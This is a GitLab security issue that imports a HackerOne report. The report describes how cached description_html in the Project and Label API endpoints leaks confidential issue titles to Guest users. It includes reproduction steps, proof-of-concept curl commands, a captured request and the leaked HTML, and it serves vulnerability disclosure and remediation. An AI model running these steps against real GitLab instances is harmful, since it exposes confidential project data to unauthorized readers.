Confidential Issue Title Leak via cached description_html in Project and Label API endpoints leads to information disclosure
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3532881](https://hackerone.com/reports/3532881)** by `modhanami` on 2026-01-31, imported by @fvpotvin:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## HackerOne Analyst Summary
## Summary of the Issue
GitLab's Project and Label API endpoints expose cached `description_html` that contains confidential issue titles, leading to information disclosure. When project descriptions or label descriptions reference confidential issues from other projects (using syntax like `private-project#18`), the cached HTML output includes the full confidential issue title in the `title` attribute of the generated link. This allows Guest users who have access to a project with such references to read confidential issue titles from projects they cannot directly access.
## Steps to reproduce
**Setup (Victim):**
1. Create a group with two projects: `private-project` and `shared-project`




2. Create a confidential issue in `private-project` (e.g., #18 titled "Critical Security Flaw in Auth System")
3. Update `shared-project` description to reference it: `Related to private-project#18`
4. Invite attacker as **Guest** to `shared-project` only

**Exploit (Attacker):**
```bash
# Attacker CANNOT access confidential issue directly
curl -s "https://gitlab.com/api/v4/projects/$PRIVATE_PROJECT_ID/issues/18" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN"
# Returns: 404 Project Not Found
# Attacker CAN see leaked title via project's description_html
curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq -r '.description_html'
```

```http
GET /api/v4/projects/78143334 HTTP/2
Host: gitlab.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://gitlab.com/dashboard/groups
X-Csrf-Token: --K4J1VRykF-F8Zoe3nTbxRd1NVZ78x_Xg3RIvUeNZzLBUnpzK1ANtoL1wz0_u2B3IyizUM9JvW6SJnB96Mc2A
X-Gitlab-Version: 18.9.0-pre
X-Gitlab-Feature-Category: groups_and_projects
Sentry-Trace: a022a2a921d54e3e8ca260352992de57-a26a6970b4decdaf-0
Baggage: sentry-environment=gprd,sentry-release=2a4948d27fc,sentry-public_key=f5573e26de8f4293b285e556c35dfd6e,sentry-trace_id=a022a2a921d54e3e8ca260352992de57,sentry-transaction=dashboard%3Agroups%3Aindex,sentry-sampled=false,sentry-sample_rand=0.8680903363466995,sentry-sample_rate=0.05
Origin: https://gitlab.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: green
Priority: u=4
Te: trailers
```
**Alternative vector (Label):**
```bash
# Victim creates label with description: "Tracked in private-project#18"
# Attacker reads label description_html
curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID/labels" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq '.[].description_html'
```
## Impact statement
This vulnerability allows unauthorized disclosure of confidential information that should be restricted based on project access controls. Guest users can extract confidential issue titles from private projects they have no legitimate access to, potentially exposing sensitive security information, internal project details, or other confidential data contained in issue titles. This breaks GitLab's access control model and could lead to information leakage in enterprise environments where teams use issue references to track dependencies or security-related work across projects with different permission levels.
## Original Report
##### Summary
Project and Label API endpoints expose cached `description_html`, leaking confidential issue titles to Guest users who shouldn't see them.
##### Steps to reproduce
**Setup (Victim):**
1. Create a group with two projects: `private-project` and `shared-project`
2. Create a confidential issue in `private-project` (e.g., #18 titled "Critical Security Flaw in Auth System")
3. Update `shared-project` description to reference it: `Related to private-project#18`
4. Invite attacker as **Guest** to `shared-project` only
**Exploit (Attacker):**
```bash
### Attacker CANNOT access confidential issue
curl -s "https://gitlab.com/api/v4/projects/$PRIVATE_PROJECT_ID/issues/18" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN"
### Returns: 404 Project Not Found
### Attacker CAN see leaked title via project's description_html
curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq -r '.description_html'
```
**Alternative vector (Label):**
```bash
### Victim creates label with description: "Tracked in private-project#18"
### Attacker reads label description_html
curl -s "https://gitlab.com/api/v4/projects/$SHARED_PROJECT_ID/labels" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq '.[].description_html'
```
##### Impact
- Guest users can read confidential issue titles from projects they cannot access
- Two vectors: project description, label description
- Label scenario: teams create labels with descriptions like "Blocked by: security#42" to track dependencies
##### Examples
Tested on gitlab.com:
- Private project: `modhanami-h1-group/modhanami-h1-project` (ID: 77451172)
- Shared project: `modhanami-h1-group/project2` (ID: 78130988)
- Confidential issue: #18
##### What is the current *bug* behavior?
API returns cached HTML with embedded confidential title:
```html
<a href="...-/issues/18" title="Critical Security Flaw in Auth System" ...>
modhanami-h1-project#18
</a>
```
##### What is the expected *correct* behavior?
Confidential issue titles should be redacted before API response.
MR and Release entities already handle this correctly by running post-process redaction via `MarkupHelper.markdown_field` (see https://gitlab.com/gitlab-org/gitlab/-/blob/1bf4e6cd36eb18fa2f0a49e8951e33e13e77c749/lib/api/entities/merge_request_basic.rb#L25-L27).
Vulnerable components:
- https://gitlab.com/gitlab-org/gitlab/-/blob/1bf4e6cd36eb18fa2f0a49e8951e33e13e77c749/lib/api/entities/project.rb#L114 - `expose :description_html`
- https://gitlab.com/gitlab-org/gitlab/-/blob/1bf4e6cd36eb18fa2f0a49e8951e33e13e77c749/lib/api/entities/label_basic.rb#L6 - `expose :description_html`
##### Relevant logs and/or screenshots
**Via UI**
The victim can see the reference resolved and can hover to see the title.

The attacker can only see the unresolved reference.

**Via API**
The attacker can see the issue title
```
$ curl -s "https://gitlab.com/api/v4/projects/78130988" \
-H "PRIVATE-TOKEN: $ATTACKER_TOKEN" | jq -r '.description_html'
<p dir="auto">Related to <a href=".../-/issues/18"
title="Critical Security Flaw in Auth System" <-- LEAKED
class="gfm gfm-issue">modhanami-h1-project#18</a></p>
```

##### Output of checks
This bug happens on GitLab.com.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [image.png](https://h1.sec.gitlab.net/a/175b5577-ca92-4bc3-b6b8-b12a130a7705/image.png)
* [image.png](https://h1.sec.gitlab.net/a/289cd883-6e69-44c8-8a4e-0cf96b389ae9/image.png)
* [image.png](https://h1.sec.gitlab.net/a/459740b9-7036-4281-a423-948b60a27d89/image.png)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue